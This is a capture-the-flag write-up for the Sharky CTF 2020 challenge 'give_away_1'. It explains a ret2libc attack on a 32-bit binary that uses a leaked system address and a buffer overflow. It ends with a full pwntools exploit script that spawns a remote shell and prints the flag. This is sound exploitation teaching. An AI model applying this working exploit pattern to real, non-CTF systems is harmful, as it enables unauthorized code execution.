Sharky CTF 2020 / Published
give_away_1
A 32-bit buffer overflow and a leaked system address drive a ret2libc call that runs /bin/sh via a string found in the provided libc.
Make good use of this gracious give away.
Creator: Hackhim
Finding the buffer overflow
As with most pwn challenges, let’s start off by checking what kind of binary we’re given.
vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ file give_away_1
give_away_1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2b72e93281e97df94bf8362d5cf5a29f55accb8a, not strippedOkay, it’s just a 32 bit ELF binary. Let’s run it to get a better idea of what it does.
vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ ./give_away_1
Give away: 0xf7dbad10
Seems like it just prints a hex value and gets some input from us. Great. Now let’s see how well it handles a large input.
vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ python -c 'print "A"*1024' | ./give_away_1
Give away: 0xf7e18d10
Segmentation fault (core dumped)Resolving system and the shell string
Oh a segmentation fault, looks like we potentially have a buffer overflow vulnerability here. Let’s open up the binary in IDA and see what further insights we can gather. Currently, we still don’t know what that hex value is.
mov eax, ds:(system_ptr - 1FBCh)[ebx]
push eax
lea eax, (aGiveAwayP - 1FBCh)[ebx] ; "Give away: %p\n"
push eax ; format
call _printf ; printf("Give away: %p\n", system_ptr);Oh wow is the hex value given to us actually a reference to system?
.got:00001FDC system_ptr dd offset system ; DATA XREF: main+22↑rAwesome, looks like we can combine this with the buffer overflow vulnerability and call system("/bin/sh") to get a shell. Where are we going to get the /bin/sh string from? We still haven’t made use of the libc-2.27.so right?
vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ grep -obUaP "/bin/sh\x00" libc-2.27.so
1564879:/bin/shBingo! So all we have to do is to calculate the address to /bin/sh and use that as a parameter for our call to system.
The search reports a file offset. In this supplied libc, 1564879 also corresponds to the ELF virtual offset 0x17e0cf; the script resolves the string with libc.search after rebasing libc. The earlier local leaks are not verified against this supplied libc and should not be combined with its system offset, 0x3d200.
Building the ret2libc exploit
Consolidating all the information we have so far, we can conclude that the payload should probably look something like this:
<padding of ? bytes><address(system)><system return slot: 4 bytes><address("/bin/sh\x00")>The only information we’re lacking is the length of the padding. We can easily do this with the cyclic utility included with pwndbg.
The saved return address is 36 bytes after the input starts. Arrange the next three words so that returning into system leaves its return slot at ESP and the string pointer at ESP+4.
The 36 bytes measure the distance from the input destination to the saved return address, not the declared buffer size. After ret, ESP points to the four-byte return slot at input offset 40. The first argument at [ESP+4] is a pointer to the libc string, not the string bytes themselves. The return slot contains filler in this exploit; system would use it if it returned, so the payload does not establish a clean continuation.
Okay, great. Now all we need to do is to write a script to solve this.
#! /usr/bin/python2
from pwn import *
HOST = 'sharkyctf.xyz'
PORT = 20334
BINARY = './give_away_1'
elf = context.binary = ELF(BINARY)
libc = ELF('libc-2.27.so')
# Start connection
r = remote(HOST, PORT)
# Stage 1: Get system@libc
libc_system = int(r.recvline().split()[2][2:], 16)
log.info('Leaked libc_system: 0x{:x}'.format(libc_system))
# Stage 2: Build ROP Chain
libc.address = libc_system - libc.symbols.system
log.info('Calculated libc base address : 0x{:x}'.format(libc.address))
binsh = libc.search("/bin/sh\x00").next()
log.info('binsh: 0x{:x}'.format(binsh))
rop = ROP([libc, elf])
rop.system(binsh)
log.success('Generated ROP Chain')
log.success(rop.dump())
# Stage 3: Pwn
r.sendline(fit({ 36: rop.chain() }))
log.success('Sent payload')
log.progress('Spawning a shell...')
r.interactive()Result
Flag: shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}